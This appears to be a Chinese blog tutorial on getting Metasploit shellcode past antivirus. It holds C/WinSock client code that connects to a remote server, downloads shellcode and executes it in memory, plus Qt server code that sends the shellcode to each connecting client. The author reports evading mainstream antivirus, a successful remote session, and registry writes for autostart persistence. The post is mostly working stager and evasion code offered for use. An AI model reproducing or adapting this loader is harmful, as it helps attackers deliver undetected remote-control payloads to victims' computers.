shellcode免杀思路
使用msfconsole生产的shellcode之后正常写入到程序的内存里面的话会直接被杀毒软件静态查杀就能杀掉。
如果我们直接把shellcode贴入到自己程序中的话,编译出来的exe文件就会带上这段byte,而杀毒软件对此非常敏感所以会直接被杀掉。
// An highlighted block
unsigned char sendBuf[355] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"你的shellcode.............................................";
((void(*)(void))&shellcode)();//把char指针转换成void型的函数指针
远程加载shellcode思路
利用SOCKET传输方法把shellcode寄存在远程的服务器上面,我们只需要写一个客户端用于连接服务器和接受数据即可。
**在堆空间申请一片内存块用于存放服务器发送过来的shellcode。因为我的变量直接放在了入口函数中,所以就没有手动再申请堆空间了。
客户端程序代码:
const int BUF_SIZE = 355;
WSADATA wsd; //WSADATA变量
SOCKET sHost; // 服务器套接字socket
SOCKADDR_IN servAddr; //服务器地址
unsigned char buf[BUF_SIZE]; // 存放发送的数据缓冲区
unsigned char bufRecv[BUF_SIZE]; //接收收到的数据缓冲区
int retVal; // 返回值
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
//cout << "WSAStartup failed!" << endl;
return -1;
}
sHost = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sHost)
{
qDebug()<<"socket faild";
WSACleanup();
return -1;
}
servAddr.sin_family = AF_INET; //指定IPV4
servAddr.sin_addr.s_addr = inet_addr("192.168.1.108");
servAddr.sin_port = htons(8888); // 指定服务器的端口
retVal = connect(sHost, (LPSOCKADDR)&servAddr,
sizeof(servAddr));
while (SOCKET_ERROR == retVal) //循环等待连接服务器
{
//cout << "connect failed!" << endl;
qDebug()<<"connect faild";
retVal = connect(sHost, (LPSOCKADDR)&servAddr,
sizeof(servAddr));
Sleep(4000);//避免一直循环高占用CPU
//return -1;
}
ZeroMemory(buf, BUF_SIZE); // buf指向的地址用0来填充
ZeroMemory(bufRecv, BUF_SIZE); // bufRevc指向的地址用0来填充
recv(sHost,bufRecv, BUF_SIZE, 0);
CopyMemory(shellcode, bufRecv, BUF_SIZE);
((void(*)(void))&shellcode)();//执行shellcode
服务器代码:
服务器这边使用handle的方法当有新的客户端连上之后立马给该客户端发送shellcode
unsigned char sendBuf[355] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"你的shellcode................................................." ;
tcpServer = NULL;
tcpSocket = NULL;
QByteArray shellcode((char *)sendBuf, 355);
tcpServer = new QTcpServer(this);
tcpServer->listen(QHostAddress::Any,8888);
//QT连接信号槽,当有新的链接建立之后里面给该socket发送数据
connect(tcpServer,&QTcpServer::newConnection,[=](){
//取出建立好连接的的套接字
tcpSocket = tcpServer->nextPendingConnection();
tcpSocket->write(shellcode);//发送shellcode
qDebug()<<"send code";
connect(tcpSocket,&QTcpSocket::readyRead,[=](){
QByteArray array = tcpSocket->readAll();
});
});
免杀效果图![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/47aef18b15ec041f10cf52d548ad7773.png)
其中4个报毒可能是因为程序没有任何签名吧,其实我已经做了大部分的免杀了,目前国内主流的杀毒软件都不报毒。我们下面在虚拟机上面跑一下看看
静态查杀不报毒,因为shellcode已经不在程序里面了。
下面我们运行看看动态查杀会怎么样,为了可视化我软件保留了一个界面
远程机器上线正常,杀毒软件也不报毒,OK基本完成了
我们来试一下写注册表操作看看
很遗憾就是360对写注册表很敏感所以会提醒,毕竟想开机自启动必须要写个注册表会舒服很多
我们试一下上传一个没做免杀处理的exe文件看看会怎么样
果然立马就被杀了,而且连同我们的进程都被杀掉了,┭┮﹏┭┮~
源代码项目暂时不贴出来了,感兴趣的朋友可以参考一下。